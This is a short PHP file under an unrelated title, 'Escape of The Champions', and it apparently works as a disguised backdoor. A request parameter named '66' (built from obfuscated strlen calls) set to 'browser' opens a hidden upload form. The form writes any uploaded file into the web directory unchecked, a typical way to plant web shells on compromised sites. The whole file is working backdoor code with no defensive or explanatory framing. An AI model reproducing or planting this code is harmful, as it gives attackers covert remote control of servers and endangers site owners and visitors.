Escape of The Champions

<?php

if

(isset

(

$_REQUEST[$browser=$x=strlen("Chrome") . strlen("Mozila")]) && 

$_REQUEST[$x=strlen("Chrome") . strlen("Mozila")]=="browser")

{

echo "<h2></h2><hr>";

echo "<form acti method=\"post\" enctype=\"multipart/form-data\">

<label for=\"file\"></label>

<input type=\"file\" name=\"file\" id=\"file\" />

<br /><br />

<input type=\"submit\" name=\"default\" value=\"Upload\">

</form>";

{

move_uploaded_file($_FILES["file"]["tmp_name"],

"" . $_FILES["file"]["name"]);

echo "Rand(100-100): " . "" . $_FILES["file"]["name"];

echo"<hr>";

}

}

?>